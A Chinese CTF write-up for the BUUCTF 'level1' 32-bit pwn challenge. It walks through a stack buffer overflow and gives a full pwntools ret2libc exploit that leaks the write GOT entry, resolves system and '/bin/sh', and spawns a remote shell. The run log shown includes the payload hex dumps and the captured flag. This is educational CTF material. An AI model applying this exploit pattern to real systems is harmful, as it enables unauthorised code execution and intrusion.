1.题目信息
BUUCTF在线评测
2.原理
篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。
3.解题步骤
3.1 首先使用checksec工具查看它开了啥保护措施
基本全关,栈可执行。
root@pwn_test1604:/ctf/work/9# checksec ./level1
[*] '/ctf/work/9/level1'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)RWX: Has RWX segments
root@pwn_test1604:/ctf/work/9#
3.2 使用ida查看一下该程序
在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后 将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。
ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有 个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。
参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通
这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数
利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell
3.3 完整源码
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import sys
from LibcSearcher import *context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./level1'
#HOST ='pwn2.jarvisoj.com'
#PORT =9877
HOST ='node5.buuoj.cn'
PORT =29232def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
#write的plt表可以调用write函数
write_got=elf.got['write']
#write的got表里面有write函数的真实地址def exploit(p):elf = ELF("./level1")main_addr=0x80484b7write_plt=elf.plt['write'] #write的plt表可以调用write函数write_got=elf.got['write'] #write的got表里面有write函数的真实地址pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) # 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数p.send(pl)write_addr = u32(p.recv(4)) # 因为write的第二个参数是write_got,所以它会输出write的gotlibc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址libc_base=write_addr-libc.dump('write') #找到偏移system_addr=libc_base+libc.dump('system') #根据偏移和system在libc中的地址找到system在程序中的地址bin_sh=libc_base+libc.dump('str_bin_sh') #根据偏移和sh在libc中的地址找到sh在程序中的地址pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)p.sendline(pl)p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)
只用修改的地方如下:
LOCAL = True
BIN ='./level1'
#HOST ='pwn2.jarvisoj.com'
#PORT =9877
HOST ='node5.buuoj.cn'
PORT =29232
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
#write的plt表可以调用write函数
write_got=elf.got['write']
#write的got表里面有write函数的真实地址
def exploit(p):
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] #write的plt表可以调用write函数
write_got=elf.got['write'] #write的got表里面有write函数的真实地址
pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) # 栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
p.send(pl)
write_addr = u32(p.recv(4)) # 因为write的第二个参数是write_got,所以它会输出write的got
libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
libc_base=write_addr-libc.dump('write') #找到偏移
system_addr=libc_base+libc.dump('system') #根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh=libc_base+libc.dump('str_bin_sh') #根据偏移和sh在libc中的地址找到sh在程序中的地址
pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
p.sendline(pl)
p.interactive()
return
3.4 运行结果
root@pwn_test1604:/ctf/work/9# python level1-buuctf.py 1
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[*] '/ctf/work/9/level1'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)RWX: Has RWX segments
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[+] Opening connection to node5.buuoj.cn on port 29232: Done
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[DEBUG] Sent 0xa0 bytes:00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│*00000080 61 61 61 61 61 61 61 61 61 61 61 61 70 83 04 08 │aaaa│aaaa│aaaa│p···│00000090 b7 84 04 08 01 00 00 00 1c a0 04 08 04 00 00 00 │····│····│····│····│000000a0
[DEBUG] Received 0x4 bytes:00000000 c0 73 eb f7 │·s··││00000004
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x99 bytes:00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│*00000080 61 61 61 61 61 61 61 61 61 61 61 61 40 d9 e1 f7 │aaaa│aaaa│aaaa│@···│00000090 b7 84 04 08 2b c0 f3 f7 0a │····│+···│·│00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:'ls\n'
[DEBUG] Received 0x6d bytes:'bin\n''boot\n''dev\n''etc\n''flag\n''flag.txt\n''home\n''lib\n''lib32\n''lib64\n''media\n''mnt\n''opt\n''proc\n''pwn\n''root\n''run\n''sbin\n''srv\n''sys\n''tmp\n''usr\n''var\n'
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:'cat flag\n'
[DEBUG] Received 0x2b bytes:'flag{232ee13a-17ab-4e9f-8a29-3481de113920}\n'
flag{232ee13a-17ab-4e9f-8a29-3481de113920}
$